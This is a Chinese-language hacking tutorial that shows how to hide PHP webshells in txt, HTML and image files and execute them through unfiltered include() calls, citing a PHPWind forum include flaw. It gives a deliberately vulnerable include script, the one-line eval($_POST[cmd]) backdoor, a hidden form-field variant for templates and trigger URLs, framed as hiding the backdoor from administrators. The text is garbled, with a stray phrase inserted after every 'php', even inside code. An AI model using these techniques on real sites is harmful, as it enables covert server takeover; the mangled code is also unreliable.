要知道如果光把php(做為現在的主流開發語言)語句放到圖片裡是無論如何也不能執行的,因為php(做為現在的主流開發語言)只解析擴展名為php(做為現在的主流開發語言)的文件。所以說要能使隱藏在圖片裡的php(做為現在的主流開發語言)語句執行。我們就的借助php(做為現在的主流開發語言)中的調用函數 :include 、require 等。
我們還記得前些日子把木馬隱藏到圖片的文章吧。也就是在php(做為現在的主流開發語言)文件裡用include("x.gif")這樣的語句來調用隱藏在圖片的木馬語句。ASP中語句也類似。看似非常隱蔽但直接調用圖片對稍微懂點php(做為現在的主流開發語言)的人就不難發現可疑之處。由於URL 裡用GET方式很難傳遞參數,這就使得插入木馬的性能得不到發揮。
include 函數在php(做為現在的主流開發語言)中使用的比較頻繁,所以引起的安全問題也實在太多,例如php(做為現在的主流開發語言)WIND1.36的漏洞就是因為include後面的變量沒做過濾引起的。由此我們就可以構造類似的語句來插入到php(做為現在的主流開發語言)文件中。然後把木馬隱藏到圖片或HTML文件裡,可以說隱蔽性就更高了。如在php(做為現在的主流開發語言)WIND論壇裡插入下面的語句:<‘’?@include includ/.$php(做為現在的主流開發語言)WIND_ROOT;? <mailto:?@include includ/.$php(做為現在的主流開發語言)WIND_ROOT;?>> 一般管理員是無法看出來的。
有了include 函數來輔助幫忙我們就可以把php(做為現在的主流開發語言)木馬隱藏到 諸如 txt、html和圖片文件等很多類型的文件裡來了。因為txt、html和圖片文件這三種類型的文件最無論在論壇還是文章系統裡是最為常見的了,下面我們就依次來做測試。
首先建立一php(做為現在的主流開發語言)文件test.php(做為現在的主流開發語言) 文件內容為:
<?php(做為現在的主流開發語言)
$test=$_GET[test];
@include test/.$test;
?>
Txt文件一般都是說明文件,所以我們把一句話木馬放到目錄的說明文件裡就OK了。隨便建立一個TXT文件t.txt。我們把一句話木馬<?eval($_POST[cmd]);?>粘貼到t.txt文件裡。然後訪問 http://localhost/test/test.php(做為現在的主流開發語言)?test=../t.txt <http://localhost/php(做為現在的主流開發語言)w/index.php(做為現在的主流開發語言)?php(做為現在的主流開發語言)WIND_ROOT=../robots.txt> 如果你看到t.txt的內容就證明Ok了, 然後把在lanker微型php(做為現在的主流開發語言)後門客戶端 木馬地址添入 http://localhost/test/test.php(做為現在的主流開發語言)?test=../t.txt <http://localhost/php(做為現在的主流開發語言)w/index.php(做為現在的主流開發語言)?php(做為現在的主流開發語言)WIND_ROOT=../robots.txt> 密碼裡添入cmd就可以了,執行返回的結果都可以看到。
對於HTML的文件,一般都為模版文件。為了使插入到HTML的文件的木馬能被調用執行而且不被顯示出來,我們可以在HTML裡加入一個隱藏屬性的文本框 ,如:<input type=hidden value="<?eval($_POST[cmd]);?>"> 然後使用方法同上。執行的返回結果一般都可以查看源文件看到。 如使用查看本程序目錄功能。查看源文件內容為 <input type=hidden value="C:Uniserver2_7swww est"> 我可以得到目錄為 C:Uniserver2_7swww est。